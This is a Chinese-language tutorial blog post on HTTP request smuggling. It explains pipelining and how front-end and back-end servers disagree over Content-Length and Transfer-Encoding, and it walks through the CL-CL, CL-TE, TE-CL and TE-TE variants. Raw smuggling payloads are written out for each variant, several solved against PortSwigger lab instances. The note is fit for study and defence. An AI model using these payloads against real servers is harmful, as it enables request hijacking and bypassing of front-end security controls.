HTTP请求走私基础学习(一)
HTTPS请求走私
该漏洞产生原因主要是前后端服务器对请求处理RFC标准不同。造成后端恶意代码缓存驻留
几个重要概念
TCP复用
为了节省代理服务器与后端服务器同效率,往往会复用同一个tcp连接
参考链接:https://www.lushevol.com/2018/08/21/TCP%E8%BF%9E%E6%8E%A5%E5%A4%8D%E7%94%A8/
http1.1协议连接保持
- Keep Alive mode
- Pipelined queries
pipelining
[Client] [End Server]
| |
>-requ. Suzann ---------->|
>-requ. Ivan ------------>|
>-requ. Walter----------->|
|<---------- resp. Suzann-<
|<------------ resp. Ivan-<
|<---------- resp. Walter-<
Keep Alive
[Client] [End Server]
| |
>-requ. Suzann ---------->|
|<---------- resp. Suzann-<
>-requ. Ivan ------------>|
|<------------ resp. Ivan-<
>-req. Walter------------>|
|<---------- resp. Walter-<
HTTP 中间代理服务器和后端服务器通信示意图
[Client] [Middleware] [End Server]
| | |
>-requ. Suzann ------>| |
>-requ. Ivan -------->| |
>-req. Walter ------->| |
| >-requ. Suzann ------>|
| |<------ resp. Suzann-<
|<------ resp. Suzann-< |
| >-requ. Ivan -------->|
| |<-------- resp. Ivan-<
|<-------- resp. Ivan-< |
| >-req. Walter-------->|
| |<------- resp Walter-<
|<------ resp. Walter-< |
CL不为0的GET请求
前端代理服务器允许GET请求携带请求体
后端服务器不允许GET请求携带请求体
:后端忽略GET请求中的Content-Length头,可以注入新的GET请求,由于Pipeline存在,后端判定收到两个请求
如传入:
GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 44\r\n
GET / secret HTTP/1.1\r\n
Host: example.com\r\n
\r\n
前端允许GET携带请求体,所以将上述包传到后端,后端不允许GET请求携带请求体,认定为两个请求
第一个
GET / HTTP/1.1\r\n
Host: example.com\r\n
第二个
GET / secret HTTP/1.1\r\n
Host: example.com\r\n
结论
CL不为0的GET请求导致走私,主要是前后端服务器对Content-Length即请求体是否执行一致。
CL-CL
https://tools.ietf.org/html/rfc7230#section-3.3.3
RFC7230表明当一个http请求带有多个不同Content-length会导致400错误
不规范操作
前端代理服务器和后端服务器接收多个Content-Length不会返回400错误。
代理服务器使用第一个Content-Length处理数据
后端代理服务器使用第二个Content-Length处理数据
恶意包构建
POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n
12345\r\n
a
中间代理服务器处理请求体长度为8,处理到5。但后端服务器处理请求体长度为7,剩下的字符5会放入缓冲区。如果这时候在接收到一个如下get请求会携带a字符一起处理。
GET /index.html HTTP/1.1\r\n
Host: example.com\r\n
实际处理结果,返回aGET request method not found
,实现走私攻击。
aGET /index.html HTTP/1.1\r\n
Host: example.com\r\n
RFC2616
的第4.4节中,规定:如果收到同时存在Content-Length和Transfer-Encoding这两个请求头的请求包时,在处理的时候必须忽略Content-Length
CL-TE
CL-TE: 接收两个请求头,前端代理服务器只处理Content-Length,后端遵守RFC2616忽略Content-Length,处理Transfer-Encoding
本地
同时放入Content-Length和Transfer-Encoding头,访问正常
只放入Conetent-Length,连接挂起,因为服务端需要接收99个字节的请求体,可以证明服务区在对同时处理Content-Length与Transfer-Encoding会将Content-Length去除
靶场环境
https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te
伪造http包
POST / HTTP/1.1
Host: ac5c1f3f1ee1d59780728119006600b8.web-security-academy.net
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://portswigger.net/users?returnurl=%2facademy%2flabs%2flaunch%2febc97abbe886e96facc0aaee856f55e2a45d4784f5d9025ffa5e994b7d8bc2bb%3freferrer%3d%252fweb-security%252frequest-smuggling%252flab-basic-cl-te
DNT: 1
Connection: keep-alive
Cookie: session=JWPczeHT40XYRaExizH7ScudZ6hnlfX6
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
Transfer-Encoding: chunked
\r\n
0\r\n
\r\n
123456
关闭burpsuite自动更新Content-Length,多次发送以下包造成走私攻击
前端代理服务器就收到Content-Length长度为11,之后将以下请求体发送到后端服务器
0\r\n
\r\n
123456
后端遵守RFC规则,抹除了Content-Length请求头,只处理Transfer-Encoding。一下是chunk传输格式,后端遇到连续的0\r\n\r\n
会认为传输结束,这时’123456’就会被留在缓冲区会与下个http请求拼接。得到’123456POST’
chunk传输格式
[chunk size][\r\n][chunk data][\r\n][chunk size][\r\n][chunk data][\r\n][chunk size = 0][\r\n][\r\n]
TE-CL
TE-CL就是当存在两个请求头,前端代理服务器处理Transfer-Encoding,后端服务器处理Content-Length请求头
靶机
https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl
构造请求包
POST / HTTP/1.1
Host: ac7f1fe61e17d5978046843b0047009f.web-security-academy.net
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: close
Cookie: session=NBbX2y8mopewc0yIgkbqdn9BmgA8PKpt
Content-Length: 4
Transfer-Encoding: chunked
\r\n
12\r\n
GPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n
前端代理服务器响应Transfer-Encoding,处理以下数据。Transfer-Encoding遇到0\r\n\r\n
数据接收停止
\r\n
12\r\n
GPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n
后端服务器响应Content-Length,处理以下数据,接收4字节数据
12\r\n
TE-TE
前后端都处理Transfer-Encoding
请求头,要点是前端接收可以处理的Transfer-Encoding头,后端接收无法识别的Transfer-Encoding头。类似CL-TE
或者TE-CL
,不同的是,如果不传入Transfer-Encoding: xxx
后端扔会前后端扔会正常处理”Content-Length、Transfer-Encoding”,在CL-TE、TE-CL不行的情况下,可以考虑使用。
靶机
https://portswigger.net/web-security/request-smuggling/lab-ofuscating-te-header
POST / HTTP/1.1
Host: acd11f061e2b224780f80459004500f2.web-security-academy.net
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: session=iLGLf03I7Lu3VUWRK8KVmwoarv2Btbhu
Content-Length: 4
Transfer-Encoding: chunked
Transfer-Encoding: xxx
\r\n
5c\r\n
GPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n
根据顺序,前端代理服务器处理Transfer-Encoding: chuncked
\r\n
5c\r\n
GPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n
而后端处理Transfer-Encoding: xxx
无法识别,再识别Content-Lengt: 4
处理四字节数据
\r\n
5c\r\n
所以就造成一下数据存入缓存中
GPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n
结论
- 注意CLRF符号,如果Transfer-Encoding再遇到
\r\n
会认为还会有数据,(CL-TE) - TE-TE在CL-TE或者TE-CL不奏效时候可以尝试使用。
- 不论是哪种方式的走私攻击,都是前后端服务器对RFC标准实现的不统一。
CL不为0:利用前端允许GET带请求体,后端不允许,由于pipelining缘故,造成后端将请求体请求当做另一个请求
CL-CL: 不限制post还是get请求(如果前后端允许接收get带有请求体),传入不同值的Content-Length,前端代理服务器要大于后端服务器,后端服务器会将没读到的字符留在缓存,会附着在下一次请求上。
CL-TE: 前端代理服务器只处理
content-length
,后端遵守RFC丢掉content-length
只处理Transfer-Encoding
TE-CL: 前端只处理
transfer-encoding
,后端只处理content-length
TE-TE: 前后端都处理
transfer-encoding
,使得后端处理的transfer-encoding为无法识别,只处理content-length
参考链接
- https://regilero.github.io/english/security/2019/10/17/security_apache_traffic_server_http_smuggling/
- https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn
- https://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf
- https://media.defcon.org/DEF%20CON%2024/DEF%20CON%2024%20presentations/DEF%20CON%2024%20-%20Regilero-Hiding-Wookiees-In-Http.pdf
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!